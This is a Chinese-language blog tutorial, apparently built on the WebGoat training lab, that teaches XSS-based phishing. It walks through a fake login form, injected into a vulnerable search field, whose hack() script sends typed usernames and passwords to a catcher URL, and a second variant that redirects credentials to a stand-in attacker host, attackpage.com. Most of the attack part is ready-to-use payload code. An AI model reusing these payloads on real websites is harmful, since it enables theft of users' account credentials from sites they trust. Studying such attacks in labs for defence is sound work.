XSS钓鱼(攻击方法)

首先,来认识什么是钓鱼。如果用户在A网站(正常网站)浏览页面。但是有人在A网站上注入了恶意代码,改变了A网站的布局,将用户原本发送给服务器A的request返回到另一台服务器B(恶意网站)。换句话说,就是B以A为载体,盗取别人信息。

       好,废话不多说,攻击如下

第一步,下面看一段常见的代码:

<form>

<br>Enter Username:<br>

<input type="text" id="user" name="user">

<br>Enter Password:<br>

<input type="password" name = "pass">

</form>

 

若把以上代码保存为.html,效果是这样的

 

第二步:添加一个功能,获取UserName和PassWord的值,将值发送到http://localhost:8080/webgoat/catcher?property=yes 将该方法命名为hack( ).

              假设localhost:8080是B服务器(攻击者),通过下面链接测试,B服务器能否捕获到数据

http://localhost:8080/webgoat/catcher?property=yes&user="123"&password="123"

<script>

function hack()

{

alert("User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);

XSSImage=new Image;

XSSImage.src=" http://localhost:8080/webgoat/catcher?property=yes&user="+

document.forms[0].user.value + "&password=" + document.forms

[0].pass.value + "";}

</script>

 

第三步:添加一个按钮,触发hack( )方法把以上代码组合起来。

<script>

function hack()

{

alert("User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);

XSSImage=new Image;

XSSImage.src=" http://localhost:8080/webgoat/catcher?property=yes&user="+

document.forms[0].user.value + "&password=" + document.forms

[0].pass.value + "";}

</script>

<form>

<br>Enter Username:<br>

<input type="text" id="user" name="user">

<br>Enter Password:<br>

<input type="password" name = "pass">

<input type="submit" name="login" value="login" onclick="hack()">

</form>

 

现在,下面的例子是一个正常页面A网站的搜索功能,存在XSS的漏洞。我们将第三步的代码注入。

 

点击search按钮,界面变成如下,多了一个登录界面。这样,如果用户在该登录界面输入用户名和密码,信息就会发送到B服务器,即http://localhost:8080/webgoat/catcher?property=yes

 

好,我们测试一下,输入 lilingkong/test 点击login按钮

 

在localhost:8080上捕获信息

 

 

【      所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:

         

<script>

function hack()

{

                   location.replace(“http://www.attackpage.com/record.asp?username=“

+document.forms[0].user.value + “password=“ + document.forms[0].pass.value);

}

</script>

<form>

<br><br><HR><H3>这个功能需要登录:</H3 >

<br><br>请输入用户名:<br>

<input type="text" id="user" name="user">

<br>请输入密码:<br>

<input type="password" name ="pass">

<br>

<input type="submit" name="login" value=" login" onclick="hack()">

</form>

 

    注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击”登录” 按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。可以看到,和一般的钓鱼攻击不 同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改,因此隐蔽性很高,而用户的账号失窃往往会带来重大的损失,因此它的危害也是十分巨大的。】

posted @ 2016-07-08 17:12  Linken_li  阅读(845)  评论(0)    收藏  举报